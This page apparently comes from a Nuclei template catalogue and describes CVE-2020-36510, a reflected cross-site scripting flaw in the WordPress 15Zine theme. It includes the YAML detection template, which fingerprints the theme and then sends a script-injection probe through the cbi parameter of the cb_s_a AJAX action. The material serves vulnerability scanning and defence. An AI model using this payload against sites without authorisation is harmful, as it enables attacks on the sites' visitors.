WordPress 15Zine <3.3.0 - Cross-Site Scripting

ID: CVE-2020-36510

Severity: medium

Author: veshraj

Tags: cve2020,cve,xss,wordpress,wp-theme,wp,wpscan,codetipi

Description

WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.

YAML Source

id: CVE-2020-36510

info:
  name: WordPress 15Zine <3.3.0 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update WordPress 15Zine to version 3.3.0 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36510
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-36510
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42122
    cpe: cpe:2.3:a:codetipi:15zine:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "false"
    max-request: 2
    vendor: codetipi
    product: 15zine
    framework: wordpress
  tags: cve2020,cve,xss,wordpress,wp-theme,wp,wpscan,codetipi
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/themes/15zine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/15zine/assets/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f62be724f8076ab107418d1c3e22ae6a2223c5d69898f107db5283142cfad4c302203a276b0c4493ece5dabef1e9f7ecc095d70a72ae1e550c9f0619377f870ade39:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-36510.yaml"

View on Github